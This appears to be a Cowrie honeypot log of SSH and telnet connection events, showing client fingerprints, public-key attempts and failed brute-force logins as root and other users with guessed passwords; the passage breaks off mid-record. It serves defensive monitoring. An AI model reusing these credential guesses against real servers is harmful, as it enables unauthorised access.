{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:37:20.427024Z","src_ip":"194.113.233.25","session":"f6ac1385ec23","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"200892","message":"login attempt [root/200892] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:37:20.705724Z","src_ip":"194.113.233.25","session":"f6ac1385ec23","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:37:21.800614Z","src_ip":"194.113.233.25","session":"f6ac1385ec23","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.110.219.251","src_port":39830,"dst_ip":"10.17.0.5","dst_port":22,"session":"06584adcb8dc","protocol":"ssh","message":"New connection: 172.110.219.251:39830 (10.17.0.5:22) [session: 06584adcb8dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:37:22.506008Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:37:22.510291Z","src_ip":"172.110.219.251","session":"06584adcb8dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:37:22.615304Z","src_ip":"172.110.219.251","session":"06584adcb8dc","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c5:5f:75:23:f8:2d:02:46:28:52:9d:f8:14:51:fd:7c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGIuuaDnMQgMP1QhdoHGWg8bURq7y6bTL/zRlGA2Sk/GZ+KI3JmRC7LGZvU/BPIxPWmz1K51SIC+Bpq9qkDilc81EwZS/za872Zvh+FAk/kVeC8+qt4QxjgDoq59zUv50Ad+ViDCNt9mfqhjapDejKErukAoiaIfzN6m2z55PNfpOag8cPt2iFuNnR+djsWstwM74W3/YMDaB6786YtLZ2QtiDbZfcugpLD3hO1CbU/n3R49/XDMYbBcV78gQ3wPkyi2I32vFhEUVh8lMOjywUCavzP9Tj+8idaaxkLoM1DcovKDfR570ScKdeZNHVcDAdQ1K8QMgxHky0gzU5tRFD","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c5:5f:75:23:f8:2d:02:46:28:52:9d:f8:14:51:fd:7c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:37:23.109017Z","src_ip":"172.110.219.251","session":"06584adcb8dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c5:5f:75:23:f8:2d:02:46:28:52:9d:f8:14:51:fd:7c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGIuuaDnMQgMP1QhdoHGWg8bURq7y6bTL/zRlGA2Sk/GZ+KI3JmRC7LGZvU/BPIxPWmz1K51SIC+Bpq9qkDilc81EwZS/za872Zvh+FAk/kVeC8+qt4QxjgDoq59zUv50Ad+ViDCNt9mfqhjapDejKErukAoiaIfzN6m2z55PNfpOag8cPt2iFuNnR+djsWstwM74W3/YMDaB6786YtLZ2QtiDbZfcugpLD3hO1CbU/n3R49/XDMYbBcV78gQ3wPkyi2I32vFhEUVh8lMOjywUCavzP9Tj+8idaaxkLoM1DcovKDfR570ScKdeZNHVcDAdQ1K8QMgxHky0gzU5tRFD","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:37:23.111820Z","src_ip":"172.110.219.251","session":"06584adcb8dc","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4d:24:af:e8:bc:cd:7a:56:cb:54:05:45:4d:7f:f3:e0","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAI1ZcvqHaud4LYOHQy6Tv8sds7YB25TeQxodi9hnYx+fSehHMk0ePtW8iq0klWY6LoIIthOFYKp2bUkzs0GeHjFQXP8SST0f/hf9MOzzAHGnhytTW/IbeNQ6KbYKnwOAB2/gEaiFz4g3S3T64Ba4it15vSy5Nzc9+ZAX9mjSKRFbAAAAFQCRvu0fMZM0CgSqCA63Pgr5UZETkQAAAIBrGEQIQ7x/ErKEoM1TvVf6zh4HJK5+bdJQ4FgK7H6Vhtx31VPkl3PR+b8c1vTx6n7T/ahN3mA7o3I734bXNET65jeWmpTkm5uqNC66qZ32a7lQcHkKFlM7OU/34E2QivQoV9vBYrhYawVZR7twNEoGodiA/Sdw+lyPe8SJ8TjdoAAAAIBUEmloV63+w8xh+M6ZBVKqugoWfZoJ62B2BK4xCFhiHBYQfymIzUuBBRD/fLizf6wCNcsYQePlCa/OHfYRTDlXTE+GYT87DAhAuuFgmd9Lu9ntsTKEWm5xQpq2UguA03QsiOZdyuGkUwPpKnBWEozeZmkuh0QLdLAvS4yA4ni93Q==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 4d:24:af:e8:bc:cd:7a:56:cb:54:05:45:4d:7f:f3:e0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:37:23.215402Z","src_ip":"172.110.219.251","session":"06584adcb8dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4d:24:af:e8:bc:cd:7a:56:cb:54:05:45:4d:7f:f3:e0","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAI1ZcvqHaud4LYOHQy6Tv8sds7YB25TeQxodi9hnYx+fSehHMk0ePtW8iq0klWY6LoIIthOFYKp2bUkzs0GeHjFQXP8SST0f/hf9MOzzAHGnhytTW/IbeNQ6KbYKnwOAB2/gEaiFz4g3S3T64Ba4it15vSy5Nzc9+ZAX9mjSKRFbAAAAFQCRvu0fMZM0CgSqCA63Pgr5UZETkQAAAIBrGEQIQ7x/ErKEoM1TvVf6zh4HJK5+bdJQ4FgK7H6Vhtx31VPkl3PR+b8c1vTx6n7T/ahN3mA7o3I734bXNET65jeWmpTkm5uqNC66qZ32a7lQcHkKFlM7OU/34E2QivQoV9vBYrhYawVZR7twNEoGodiA/Sdw+lyPe8SJ8TjdoAAAAIBUEmloV63+w8xh+M6ZBVKqugoWfZoJ62B2BK4xCFhiHBYQfymIzUuBBRD/fLizf6wCNcsYQePlCa/OHfYRTDlXTE+GYT87DAhAuuFgmd9Lu9ntsTKEWm5xQpq2UguA03QsiOZdyuGkUwPpKnBWEozeZmkuh0QLdLAvS4yA4ni93Q==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:37:23.218494Z","src_ip":"172.110.219.251","session":"06584adcb8dc","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2e:24:62:3b:eb:f1:e1:12:37:eb:03:3e:e7:50:6d:d2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAnbB72kCJSpBU71eKr6PjdcZ+Ws5D4MOAhQbiDTikl+3pt3pmc8Dn9UArduRRQj3sJfw3NkUgjhDhyZ0qTqFzu7RHqDcb9y1ccN+QB1UJ6DWbzudGDH0kR03zjiOGBtMMbv8LSqjcmccWj0Pu80+fczXRBs3YEe2dIsZLlsqvf3rKQIJeN5hrTnSCRNenD5MP8c4NwGqQqMdXJWKxl6T8OlxeS9J0dwzjJvY5MnMIeNYUB8jDZk/6X5kueHZUC8iAtBOyc3qt1iup5WsIteng71Uhmaz+fX6Vc3eFSxGVpzNpVVQzhGBFnOQp6oY5u0gF/7unsNIAm9rqFUS95Chk6w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2e:24:62:3b:eb:f1:e1:12:37:eb:03:3e:e7:50:6d:d2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:37:23.321641Z","src_ip":"172.110.219.251","session":"06584adcb8dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2e:24:62:3b:eb:f1:e1:12:37:eb:03:3e:e7:50:6d:d2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAnbB72kCJSpBU71eKr6PjdcZ+Ws5D4MOAhQbiDTikl+3pt3pmc8Dn9UArduRRQj3sJfw3NkUgjhDhyZ0qTqFzu7RHqDcb9y1ccN+QB1UJ6DWbzudGDH0kR03zjiOGBtMMbv8LSqjcmccWj0Pu80+fczXRBs3YEe2dIsZLlsqvf3rKQIJeN5hrTnSCRNenD5MP8c4NwGqQqMdXJWKxl6T8OlxeS9J0dwzjJvY5MnMIeNYUB8jDZk/6X5kueHZUC8iAtBOyc3qt1iup5WsIteng71Uhmaz+fX6Vc3eFSxGVpzNpVVQzhGBFnOQp6oY5u0gF/7unsNIAm9rqFUS95Chk6w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:37:23.325179Z","src_ip":"172.110.219.251","session":"06584adcb8dc","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ba:51:d2:89:b2:ba:5d:a3:2d:be:f6:b5:4b:33:dd:25","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDatJ6wzvVVpS2MomsEc2czsrczwoRT9fUzRstd9XlNCBl5plBDIrSohomqk5wpKRtGcG/tfBL5jzzlGBYfbjknMteWI7sEen3GnBpZAM1aXa4+RD5SlfSgvJggGG9AlesNcP+FwZmhd5QRXuw/rWVysJpPmuxFF3avq9TevWPff1DIuxd2OJ0kbQTWGNjAvcWQ0dCY7YmCMgatzE956/tN4WeETeC29WkLrqO0bjlnbTV25MMkOqUYkjc5rfaQdHBzXaRoVrRgm86ZZZVyC4Zj5rQe13g2cRkd75OTJA1tCkO8/EqSJPJbXtN/cvPlnk6oDS3ayiFPUeD1tEmK5YYL","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ba:51:d2:89:b2:ba:5d:a3:2d:be:f6:b5:4b:33:dd:25","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:37:23.429801Z","src_ip":"172.110.219.251","session":"06584adcb8dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ba:51:d2:89:b2:ba:5d:a3:2d:be:f6:b5:4b:33:dd:25","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDatJ6wzvVVpS2MomsEc2czsrczwoRT9fUzRstd9XlNCBl5plBDIrSohomqk5wpKRtGcG/tfBL5jzzlGBYfbjknMteWI7sEen3GnBpZAM1aXa4+RD5SlfSgvJggGG9AlesNcP+FwZmhd5QRXuw/rWVysJpPmuxFF3avq9TevWPff1DIuxd2OJ0kbQTWGNjAvcWQ0dCY7YmCMgatzE956/tN4WeETeC29WkLrqO0bjlnbTV25MMkOqUYkjc5rfaQdHBzXaRoVrRgm86ZZZVyC4Zj5rQe13g2cRkd75OTJA1tCkO8/EqSJPJbXtN/cvPlnk6oDS3ayiFPUeD1tEmK5YYL","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:37:23.433772Z","src_ip":"172.110.219.251","session":"06584adcb8dc","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7d:52:22:ee:eb:0b:09:f3:f6:cf:de:c4:87:4f:75:c0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCvEY/DB7l1+cADthoZfw4Yvswgl2lfmVW1g0TJIuDQlJO7FfofIrmmvARGqCyzNr2ygvbTVZFiHMuxJBBXubsEvf43wIDtVT+aJudM0q66L9yQEoghgi93C4BDuDmMe6Xtys6R0J2l5i9Sp3pKlTTI9lX1R32HNst0l+K5sVAn7fSKqEJPrpnxUmplxkx/FoNqYtNcQ3yF4aDPNMT618frArYzeoLOhMXgV/rLO2jmoog2fqaBIf74lQvQhduyilmH5+XUfKTbNM6FVFaZPCKJ01A3lmsFk53Fp0JalWBqLvs4xhCtkWcIauw7y/e2duuEl2UC+TSCrhz22gsVPN1D","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7d:52:22:ee:eb:0b:09:f3:f6:cf:de:c4:87:4f:75:c0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:37:23.537958Z","src_ip":"172.110.219.251","session":"06584adcb8dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7d:52:22:ee:eb:0b:09:f3:f6:cf:de:c4:87:4f:75:c0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCvEY/DB7l1+cADthoZfw4Yvswgl2lfmVW1g0TJIuDQlJO7FfofIrmmvARGqCyzNr2ygvbTVZFiHMuxJBBXubsEvf43wIDtVT+aJudM0q66L9yQEoghgi93C4BDuDmMe6Xtys6R0J2l5i9Sp3pKlTTI9lX1R32HNst0l+K5sVAn7fSKqEJPrpnxUmplxkx/FoNqYtNcQ3yF4aDPNMT618frArYzeoLOhMXgV/rLO2jmoog2fqaBIf74lQvQhduyilmH5+XUfKTbNM6FVFaZPCKJ01A3lmsFk53Fp0JalWBqLvs4xhCtkWcIauw7y/e2duuEl2UC+TSCrhz22gsVPN1D","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:37:23.541401Z","src_ip":"172.110.219.251","session":"06584adcb8dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:37:23.644860Z","src_ip":"172.110.219.251","session":"06584adcb8dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.227.244.120","src_port":55142,"dst_ip":"159.203.135.109","dst_port":22,"session":"f062b17a4c9a","protocol":"ssh","message":"New connection: 209.227.244.120:55142 (159.203.135.109:22) [session: f062b17a4c9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:37:26.003969Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:37:26.009899Z","src_ip":"209.227.244.120","session":"f062b17a4c9a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:37:26.100967Z","src_ip":"209.227.244.120","session":"f062b17a4c9a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"surgut","password":"123456","message":"login attempt [surgut/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:37:26.500550Z","src_ip":"209.227.244.120","session":"f062b17a4c9a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:37:27.594423Z","src_ip":"209.227.244.120","session":"f062b17a4c9a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.223.69.22","src_port":59096,"dst_ip":"159.203.135.109","dst_port":22,"session":"0f46245c75f7","protocol":"ssh","message":"New connection: 89.223.69.22:59096 (159.203.135.109:22) [session: 0f46245c75f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:37:29.353124Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:37:29.358172Z","src_ip":"89.223.69.22","session":"0f46245c75f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:37:29.470351Z","src_ip":"89.223.69.22","session":"0f46245c75f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:37:29.809378Z","src_ip":"89.223.69.22","session":"0f46245c75f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:37:30.923899Z","src_ip":"89.223.69.22","session":"0f46245c75f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.186615228652954,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:37:44.006687Z","src_ip":"120.87.158.103","session":"b9c60ce5f4a9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":59130,"dst_ip":"159.203.135.109","dst_port":23,"session":"461f194df161","protocol":"telnet","message":"New connection: 128.199.8.54:59130 (159.203.135.109:23) [session: 461f194df161]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:37:47.022213Z"}
{"eventid":"cowrie.session.closed","duration":0.0043010711669921875,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:37:47.026401Z","src_ip":"128.199.8.54","session":"461f194df161","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":60882,"dst_ip":"159.203.135.109","dst_port":23,"session":"455319df562e","protocol":"telnet","message":"New connection: 128.199.8.54:60882 (159.203.135.109:23) [session: 455319df562e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:37:51.454728Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.100.248.63","src_port":50080,"dst_ip":"10.17.0.5","dst_port":22,"session":"e6d37749cd96","protocol":"ssh","message":"New connection: 34.100.248.63:50080 (10.17.0.5:22) [session: e6d37749cd96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:37:58.780540Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:37:58.789895Z","src_ip":"34.100.248.63","session":"e6d37749cd96","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-